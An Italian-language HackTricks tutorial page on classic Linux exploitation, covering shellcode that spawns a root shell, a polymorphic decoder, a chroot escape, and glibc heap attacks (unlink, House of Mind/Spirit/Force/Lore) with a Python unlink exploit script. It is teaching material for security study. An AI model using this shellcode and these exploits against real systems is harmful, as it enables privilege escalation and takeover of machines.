32 KiB
Linux Exploiting (Basic) (ITA)
Impara l'hacking su AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.
2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; limpiamos eax
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Ejecutar syscall
nasm -f elf assembly.asm —> Nos devuelve un .o
ld assembly.o -o shellcodeout —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
Comprobar que la shellcode funciona
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Per verificare che le system call vengano eseguite correttamente, è necessario compilare il programma precedente e le system call devono apparire in strace ./PROGRAMMA_COMPILATO
Quando si creano shellcode, si può utilizzare un trucco. La prima istruzione è un salto a una chiamata. La chiamata richiama il codice originale e inserisce l'EIP nello stack. Dopo l'istruzione di chiamata, abbiamo inserito la stringa necessaria, quindi con quel EIP possiamo puntare alla stringa e continuare ad eseguire il codice.
ESEMPIO TRICK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Esempio di utilizzo dello Stack(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Cacciatore di Uova:
Si tratta di un piccolo codice che scorre le pagine di memoria associate a un processo alla ricerca della shellcode ivi memorizzata (cerca una firma inserita nella shellcode). Utile nei casi in cui si dispone solo di uno spazio limitato per iniettare codice.
Shellcode Polimorfiche
Sono shell cifrate che contengono un piccolo codice che le decifra e salta ad esso, utilizzando il trucco di Call-Pop, questo sarebbe un esempio di cifratura di Cesare:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5. Metodi complementari
Tecnica di Murat
In Linux, tutti i programmi sono mappati a partire da 0xbfffffff.
Osservando come viene costruito lo stack di un nuovo processo in Linux, è possibile sviluppare uno sfruttamento in modo che il programma venga avviato in un ambiente in cui l'unica variabile sia la shellcode. L'indirizzo di questa variabile può quindi essere calcolato come: addr = 0xbfffffff - 4 - strlen(NOME_eseguibile_completo) - strlen(shellcode)
In questo modo si otterrebbe facilmente l'indirizzo in cui si trova la variabile di ambiente con la shellcode.
Questo è possibile grazie alla funzione execle che consente di creare un ambiente con solo le variabili di ambiente desiderate.
Format Strings to Buffer Overflows
La sprintf sposta una stringa formattata in una variabile. Pertanto, è possibile abusare della formattazione di una stringa per causare un buffer overflow nella variabile in cui viene copiato il contenuto.
Ad esempio, il payload %.44xAAAA
scriverà 44B+"AAAA" nella variabile, il che potrebbe causare un buffer overflow.
Strutture __atexit
{% hint style="danger" %} Attualmente è molto raro sfruttare questo. {% endhint %}
atexit()
è una funzione a cui vengono passate altre funzioni come parametri. Queste funzioni verranno eseguite al momento dell'esecuzione di un exit()
o del ritorno al main.
Se è possibile modificare l'indirizzo di una di queste funzioni per puntare a una shellcode, ad esempio, si otterrà il controllo del processo, ma attualmente è più complicato.
Attualmente gli indirizzi delle funzioni da eseguire sono nascosti dietro diverse strutture e infine l'indirizzo a cui puntano non sono gli indirizzi delle funzioni, ma sono crittografati con XOR e spostamenti con una chiave casuale. Quindi attualmente questo vettore di attacco non è molto utile almeno su x86 e x64_86.
La funzione di crittografia è PTR_MANGLE
. Altre architetture come m68k, mips32, mips64, aarch64, arm, hppa... non implementano la funzione di crittografia perché restituisce lo stesso valore in input. Quindi queste architetture potrebbero essere attaccabili tramite questo vettore.
setjmp() & longjmp()
{% hint style="danger" %} Attualmente è molto raro sfruttare questo. {% endhint %}
Setjmp()
consente di salvare il contesto (i registri)
longjmp()
consente di ripristinare il contesto.
I registri salvati sono: EBX, ESI, EDI, ESP, EIP, EBP
Il problema è che EIP e ESP vengono passati dalla funzione PTR_MANGLE
, quindi le architetture vulnerabili a questo attacco sono le stesse di cui sopra.
Sono utili per il recupero degli errori o per le interruzioni.
Tuttavia, da quanto ho letto, gli altri registri non sono protetti, quindi se c'è una call ebx
, call esi
o call edi
all'interno della funzione chiamata, è possibile prendere il controllo. Oppure potresti anche modificare EBP per modificare ESP.
VTable e VPTR in C++
Ogni classe ha una Vtable che è un array di puntatori a metodi.
Ogni oggetto di una classe ha un VPtr che è un puntatore all'array della sua classe. Il VPtr fa parte dell'intestazione di ogni oggetto, quindi se si riesce a sovrascrivere il VPtr potrebbe essere modificato per puntare a un metodo fittizio in modo che l'esecuzione di una funzione vada alla shellcode.
Misure preventive ed evasioni
Sostituzione di Libsafe
Si attiva con: LD_PRELOAD=/lib/libsafe.so.2
o
“/lib/libsave.so.2” > /etc/ld.so.preload
Le chiamate a alcune funzioni non sicure vengono intercettate e sostituite con altre sicure. Non è standardizzato. (solo per x86, non per compilazioni con -fomit-frame-pointer, non per compilazioni statiche, non tutte le funzioni vulnerabili diventano sicure e LD_PRELOAD non funziona con binari con setuid).
Spazio degli indirizzi ASCII Armored
Consiste nel caricare le librerie condivise da 0x00000000 a 0x00ffffff in modo che ci sia sempre un byte 0x00. Tuttavia, questo non ferma praticamente nessun attacco, specialmente in little endian.
ret2plt
Consiste nell'eseguire un ROP in modo che si chiami la funzione strcpy@plt (dalla plt) e si punti all'ingresso della GOT e si copi il primo byte della funzione da chiamare (system()). Successivamente si fa lo stesso puntando a GOT+1 e si copia il secondo byte di system()... Alla fine si chiama l'indirizzo salvato nella GOT che sarà system()
Jail con chroot()
debootstrap -arch=i386 hardy /home/user —> Installa un sistema di base in una directory specifica
Un amministratore può uscire da una di queste prigioni facendo: mkdir foo; chroot foo; cd ..
Strumentazione del codice
Valgrind —> Cerca errori
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits di base
Chunk assegnato
prev_size |
size | —Header
*mem | Dati
Chunk libero
prev_size |
size |
*fd | Ptr chunk successivo
*bk | Ptr chunk precedente —Header
*mem | Dati
I chunk liberi sono in una lista doppiamente collegata (bin) e non possono mai esserci due chunk liberi consecutivi (vengono uniti)
In "size" ci sono bit per indicare: se il chunk precedente è in uso, se il chunk è stato assegnato tramite mmap() e se il chunk appartiene all'arena primaria.
Quando viene liberato un chunk e uno dei chunk adiacenti è libero, questi vengono fusi tramite la macro unlink() e il nuovo chunk più grande viene passato a frontlink() per inserirlo nel bin appropriato.
unlink(){
BK = P->bk; —> Il BK del nuovo chunk è quello che aveva il chunk precedentemente libero
FD = P->fd; —> Il FD del nuovo chunk è quello che aveva il chunk precedentemente libero
FD->bk = BK; —> Il BK del chunk successivo punta al nuovo chunk
BK->fd = FD; —> Il FD del chunk precedente punta al nuovo chunk
}
Quindi, se riusciamo a modificare P->bk con l'indirizzo di una shellcode e P->fd con l'indirizzo di un'entrata nella GOT o DTORS meno 12, si ottiene:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
E così, al termine del programma, la shellcode viene eseguita.
Inoltre, la quarta istruzione di unlink() scrive qualcosa e la shellcode deve essere preparata per questo:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Questo provoca la scrittura di 4 byte a partire dall'8° byte della shellcode, quindi la prima istruzione della shellcode deve essere un jmp per saltare questo e passare a dei nop che portano al resto della shellcode.
Pertanto, l'exploit viene creato:
Nel buffer1 inseriamo la shellcode iniziando con un jmp in modo che cada nei nop o nel resto della shellcode.
Dopo la shell code inseriamo del padding fino a raggiungere il campo prev_size e size del chunk successivo. In questi punti inseriamo 0xfffffff0 (in modo che il prev_size venga sovrascritto per indicare che è libero) e "-4" (0xfffffffc) nel size (per far credere al terzo chunk che il secondo è libero quando in realtà va al prev_size modificato che dirà che è libero) -> Così quando free() controlla, andrà al size del terzo ma in realtà andrà al secondo - 4 e penserà che il secondo chunk sia libero. E quindi chiamerà unlink(). Al chiamare unlink() userà i primi dati del 2º chunk come P->fd, dove verrà inserito l'indirizzo che si desidera sovrascrivere - 12 (poiché in FD->bk sommerà 12 all'indirizzo salvato in FD). E in quell'indirizzo verrà inserito il secondo indirizzo trovato nel 2º chunk, che ci interesserà che sia l'indirizzo della shellcode (P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes di riempimento
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #È importante che il bit che indica che il chunk precedente è libero sia 1
fake_size = pack("<I”, 0xfffffffc) #-4, in modo che pensi che il "size" del 3º chunk sia 4 byte indietro (punta a prev_size) perché è lì che controlla se il 2º chunk è libero
addr_sc = pack("<I", 0x0804a008 + 8) #Nel payload all'inizio metteremo 8 byte di riempimento
got_free = pack("<I", 0x08048300 - 12) #Indirizzo di free() nella plt-12 (sarà sovrascritto per eseguire la shellcode la seconda volta che viene chiamato free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Come detto, il payload inizia con 8 byte di riempimento perché sì
payload += prev_size + fake_size + got_free + addr_sc #Si modifica il 2º chunk, got_free punta dove salveremo l'indirizzo addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando in senso inverso (wargame)
Stiamo controllando 3 chunk consecutivi e vengono liberati in ordine inverso rispetto alla prenotazione.
In questo caso:
Nel chunk c viene inserita la shellcode
Il chunk a viene utilizzato per sovrascrivere il b in modo che il size abbia il bit PREV_INUSE disattivato in modo che pensi che il chunk a sia libero.
Inoltre, viene sovrascritto nell'intestazione b il size in modo che valga -4.
Quindi, il programma penserà che "a" sia libero e in un bin, quindi chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'intestazione PREV_SIZE vale -4, penserà che il chunk "a" inizi effettivamente in b+4. Cioè, eseguirà un unlink() su un chunk che inizia in b+4, quindi in b+12 ci sarà il puntatore "fd" e in b+16 ci sarà il puntatore "bk".
In questo modo, se mettiamo l'indirizzo della shellcode in bk e l'indirizzo della funzione "puts()" -12 in fd, otteniamo il nostro payload.
Tecnica di Frontlink
Si chiama frontlink quando viene liberato qualcosa e nessuno dei suoi chunk adiacenti è libero, non viene chiamato unlink() ma viene chiamato direttamente frontlink().
Vulnerabilità utile quando il malloc attaccato non viene mai liberato (free()).
Richiede:
Un buffer che può essere sovrascritto con la funzione di input dei dati
Un buffer adiacente a questo che deve essere liberato e il cui campo fd dell'intestazione verrà modificato grazie allo sforamento del buffer precedente
Un buffer da liberare con una dimensione maggiore di 512 ma inferiore al buffer precedente
Un buffer dichiarato prima del passaggio 3 che consente di sovrascrivere il prev_size di questo
In questo modo, sovrapponendo due malloc in modo incontrollato e uno in modo controllato ma che viene liberato solo uno, possiamo creare un exploit.
Vulnerabilità double free()
Se free() viene chiamato due volte con lo stesso puntatore, ci sono due bin che puntano allo stesso indirizzo.
Se si desidera riutilizzare uno, non ci sono problemi. Se si desidera utilizzare un altro, verrà assegnato lo stesso spazio, quindi i puntatori "fd" e "bk" saranno falsificati con i dati che scriverà la prenotazione precedente.
After free()
Un puntatore precedentemente liberato viene utilizzato di nuovo senza controllo.
8 Heap Overflows: Exploits avanzati
Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzione unlink().
The house of mind
È necessaria solo una chiamata a free() per provocare l'esecuzione di codice arbitrario. È importante trovare un secondo chunk che può essere sovrascritto da uno precedente e liberato.
Una chiamata a free() comporta la chiamata a public_fREe(mem), che fa:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo in cui inizia il chunk (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] controlla il campo size del bit NON_MAIN_ARENA, che può essere alterato in modo che il controllo restituisca true ed esegua heap_for_ptr() che effettua un and a "mem" ponendo a 0 i 2,5 byte meno significativi (nel nostro caso da 0x0804a000 a 0x08000000) e accede a 0x08000000->ar_ptr (come se fosse un struct heap_info)
In questo modo, se possiamo controllare un chunk ad esempio in 0x0804a000 e verrà liberato un chunk in 0x081002a0 possiamo raggiungere l'indirizzo 0x08100000 e scrivere ciò che vogliamo, ad esempio 0x0804a000. Quando verrà liberato questo secondo chunk, troverà che heap_for_ptr(ptr)->ar_ptr restituisce ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si ottiene il valore dei primi 4 byte, l'ar_ptr)
In questo modo viene chiamato _int_free(ar_ptr, mem), cioè _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Come abbiamo visto prima, possiamo controllare il valore di av, poiché è ciò che scriviamo nel chunk che verrà liberato.
Come è definito unsorted_chunks, sappiamo che:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Pertanto, se in av->bins[2] scriviamo il valore di __DTOR_END__-12 nell'ultima istruzione verrà scritto in __DTOR_END__ l'indirizzo del secondo chunk.
Cioè, nel primo chunk dobbiamo mettere all'inizio molte volte l'indirizzo di __DTOR_END__-12 perché da lì av->bins[2] lo prenderà
Nell'indirizzo in cui cade l'indirizzo del secondo chunk con gli ultimi 5 zeri, dobbiamo scrivere l'indirizzo di questo primo chunk in modo che heap_for_ptr() pensi che l'ar_ptr sia all'inizio del primo chunk e prenda da lì av->bins[2] Nel secondo pezzo e grazie al primo sovrascriviamo prev_size con un jump 0x0c e size con qualcosa per attivare -> NON_MAIN_ARENA
Successivamente, nel pezzo 2 inseriamo molti nops e infine lo shellcode
In questo modo verrà chiamato _int_free(TROZO1, TROZO2) e seguirà le istruzioni per scrivere in __DTOR_END__ l'indirizzo del prev_size di TROZO2 che salterà allo shellcode.
Per applicare questa tecnica sono necessari alcuni requisiti aggiuntivi che complicano un po' il payload.
Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch di unlink. Si confrontano se il nuovo sito a cui si punta sta puntando anche a esso.
Fastbin
È una variante di The house of mind
ci interessa eseguire il codice successivo che si raggiunge dopo la prima verifica della funzione _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Essendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
In questo modo, se viene impostato su "fb" l'indirizzo di una funzione nella GOT, in questo indirizzo verrà inserito l'indirizzo del pezzo sovrascritto. Per fare ciò sarà necessario che l'arena sia vicina agli indirizzi di dtors. Più precisamente, av->max_fast deve essere all'indirizzo che andremo a sovrascrivere.
Poiché con The House of Mind abbiamo visto che controllavamo la posizione di av.
Quindi se nel campo size viene inserito un valore di 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() restituirà fastbins[-1], che punterà a av->max_fast
In questo caso av->max_fast sarà l'indirizzo che verrà sovrascritto (non a cui punta, ma quella posizione verrà sovrascritta).
Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 8, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops).
Inoltre, lo stesso falso pezzo deve essere più piccolo di av->system_mem. av->system_mem si trova a 1848 byte di distanza.
A causa dei nulli di _DTOR_END_ e dei pochi indirizzi nella GOT, nessuno di questi indirizzi di queste sezioni è adatto per essere sovrascritto, quindi vediamo come applicare fastbin per attaccare lo stack.
Un altro modo per attaccare è di reindirizzare av verso lo stack.
Se modifichiamo la dimensione in modo che sia 16 anziché 8 allora: fastbin_index() restituirà fastbins[0] e possiamo usare questo per sovrascrivere lo stack.
Per fare ciò non devono esserci canary o valori strani nello stack, infatti dobbiamo trovarci qui: 4byte nulli + EBP + RET
I 4 byte nulli sono necessari affinché av sia a quell'indirizzo e il primo elemento di un av sia il mutex che deve valere 0.
av->max_fast sarà l'EBP e sarà un valore che ci permetterà di saltare le restrizioni.
In av->fastbins[0] verrà sovrascritto con l'indirizzo di p e sarà il RET, quindi si salterà allo shellcode.
Inoltre, in av->system_mem (1484 byte sopra la posizione nello stack) ci saranno abbastanza spazzatura che ci permetterà di saltare il controllo che viene eseguito.
Inoltre, deve essere soddisfatto il requisito che il pezzo adiacente a quello liberato deve essere maggiore di 8 -> Dato che abbiamo detto che la dimensione del pezzo liberato è 16, in questo falso pezzo dobbiamo solo inserire una dimensione maggiore di 8 (inoltre, poiché lo shellcode sarà nel pezzo liberato, all'inizio dovremo inserire un jmp che vada a cadere in nops che vanno dopo il campo size del nuovo falso pezzo).
The House of Spirit
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere modificato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).
In questo modo, potremmo far puntare questo puntatore dove vogliamo. Tuttavia, non qualsiasi posizione è valida, la dimensione del pezzo falso deve essere inferiore a av->max_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Pertanto, se sappiamo che dopo questo puntatore vulnerabile viene chiamato malloc(40), la dimensione del pezzo falso deve essere uguale a 48.
Se ad esempio il programma chiede all'utente un numero potremmo inserire 48 e far puntare il puntatore di malloc modificabile ai successivi 4 byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system_mem.
Se ciò viene soddisfatto, quando verrà chiamato il successivo malloc che abbiamo detto essere malloc(40), verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc, può sovrascrivere sia l'EBP che l'EIP con l'indirizzo desiderato.
Penso che ciò sia dovuto al fatto che quando verrà liberato free() salverà che nell'indirizzo che punta all'EBP dello stack c'è un pezzo di dimensioni perfette per il nuovo malloc() che si vuole riservare, quindi assegnerà quell'indirizzo.
The House of Force
È necessario:
- Un overflow a un pezzo che permetta di sovrascrivere il wilderness
- Una chiamata a malloc() con la dimensione definita dall'utente
- Una chiamata a malloc() i cui dati possono essere definiti dall'utente
La prima cosa da fare è sovrascrivere la dimensione del pezzo wilderness con un valore molto grande (0xffffffff), quindi qualsiasi richiesta di memoria sufficientemente grande verrà gestita in _int_malloc() senza la necessità di espandere l'heap
La seconda è modificare av->top in modo che punti a una zona di memoria sotto il controllo dell'attaccante, come lo stack. In av->top verrà inserito &EIP - 8.
Dobbiamo sovrascrivere av->top in modo che punti alla zona di memoria sotto il controllo dell'attaccante:
vittima = av->top;
remainder = chunck_at_offset(vittima, nb);
av->top = remainder;
La vittima raccoglie il valore dell'indirizzo del pezzo wilderness attuale (l'attuale av->top) e remainder è esattamente la somma di quell'indirizzo più la quantità di byte richiesti da malloc(). Quindi se &EIP-8 è in 0xbffff224 e av->top contiene 0x080c2788, allora la quantità che dobbiamo riservare nel malloc controllato affinché av->top punti a $EIP-8 per il prossimo malloc() sarà:
0xbffff224 - 0x080c2788 = 3086207644.
In questo modo verrà salvato in av->top il valore modificato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
È importante sapere che la dimensione del nuovo pezzo wilderness sia più grande della richiesta fatta dall'ultimo malloc(). Cioè, se il wilderness punta a &EIP-8, la dimensione sarà esattamente nel campo EBP dello stack.
The House of Lore
Corruzione SmallBin
I pezzi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima di essere inseriti vengono conservati in unsorted bins. Quando un pezzo viene liberato non viene immediatamente inserito nel suo bin ma rimane in unsorted bins. Successivamente, se viene riservato un nuovo pezzo e il pezzo liberato precedente può essere utile, viene restituito, ma se viene riservato un pezzo più grande, il pezzo liberato in unsorted bins viene inserito nel suo bin appropriato.
Per raggiungere il codice vulnerabile, la richiesta di memoria deve essere maggiore di av->max_fast (di solito 72) e inferiore a MIN_LARGE_SIZE (512). Se nel bin c'è un pezzo della dimensione richiesta, viene restituito dopo essere stato slegato:
bck = victim->bk; Puntatore al pezzo precedente, unica informazione che possiamo alterare.
bin->bk = bck; Il penultimo pezzo diventa l'ultimo, se bck punta allo stack al pezzo successivo riservato, verrà assegnato questo indirizzo.
bck->fd = bin; Si chiude la lista facendo in modo che punti a bin.
È necessario:
Prenotare due malloc, in modo che il primo possa essere sovraffollato dopo che il secondo è stato liberato e inserito nel suo bin (ossia, è stato prenotato un malloc superiore al secondo pezzo prima di fare l'overflow)
Il malloc prenotato a cui viene assegnato l'indirizzo scelto dall'attaccante deve essere controllato dall'attaccante.
L'obiettivo è il seguente, se possiamo fare un overflow a un heap che ha sotto di sé un pezzo già liberato e nel suo bin, possiamo alterare il suo puntatore bk. Se alteriamo il suo puntatore bk e questo pezzo diventa il primo della lista del bin e viene prenotato, il bin verrà ingannato e gli verrà detto che l'ultimo pezzo della lista (quello successivo da offrire) si trova all'indirizzo falso che abbiamo inserito (allo stack o alla GOT, ad esempio). Quindi, se viene prenotato un altro pezzo e l'attaccante ha permessi su di esso, verrà assegnato un pezzo nella posizione desiderata e potrà scriverci.
Dopo aver liberato il pezzo modificato, è necessario prenotare un pezzo più grande di quello liberato, in modo che il pezzo modificato esca dai bin non ordinati e venga inserito nel suo bin.
Una volta nel suo bin, è il momento di modificare il puntatore bk tramite l'overflow in modo che punti all'indirizzo che vogliamo sovrascrivere.
Quindi il bin dovrà aspettare il suo turno affinché venga chiamato malloc() abbastanza volte da utilizzare nuovamente il bin modificato e ingannare il bin facendogli credere che il pezzo successivo si trovi all'indirizzo falso. E successivamente verrà dato il pezzo che ci interessa.
Per eseguire la vulnerabilità il prima possibile, l'ideale sarebbe: prenotare il pezzo vulnerabile, prenotare il pezzo da modificare, liberare questo pezzo, prenotare un pezzo più grande di quello da modificare, modificare il pezzo (vulnerabilità), prenotare un pezzo delle stesse dimensioni di quello violato e prenotare un secondo pezzo delle stesse dimensioni e questo sarà quello che punterà all'indirizzo scelto.
Per proteggere questo attacco viene utilizzato il tipico controllo che il pezzo "non" è falso: si controlla se bck->fd sta puntando a victim. Cioè, nel nostro caso, se il puntatore fd* del pezzo falso puntato nello stack sta puntando a victim. Per superare questa protezione, l'attaccante dovrebbe essere in grado di scrivere in qualche modo (probabilmente nello stack) nell'indirizzo corretto l'indirizzo di victim. In modo che sembri un pezzo vero.
Corruzione LargeBin
Sono necessari gli stessi requisiti di prima e alcuni in più, inoltre i pezzi prenotati devono essere più grandi di 512.
L'attacco è simile a quello precedente, cioè bisogna modificare il puntatore bk e sono necessarie tutte quelle chiamate a malloc(), ma inoltre bisogna modificare la dimensione del pezzo modificato in modo che quella dimensione - nb sia < MINSIZE.
Ad esempio, si farà in modo che la dimensione sia 1552 in modo che 1552 - 1544 = 8 < MINSIZE (la sottrazione non può essere negativa perché si confronta con un unsigned)
Inoltre è stato introdotto un patch per renderlo ancora più complicato.
Heap Spraying
Consiste essenzialmente nel prenotare tutta la memoria possibile per gli heap e riempirli con un tappetino di nops terminato da una shellcode. Inoltre, come tappetino si utilizza 0x0c. Si cercherà di saltare all'indirizzo 0x0c0c0c0c e quindi se si sovrascrive un qualche indirizzo con questo tappetino, si salterà lì. Fondamentalmente la tattica è prenotare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c sperando che ci siano nops lì.
Heap Feng Shui
Consiste nel cementare la memoria mediante prenotazioni e liberazioni in modo che ci siano pezzi prenotati tra pezzi liberi. Il buffer da sovraccaricare sarà in uno di questi pezzi.
Corsi interessanti
Riferimenti
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.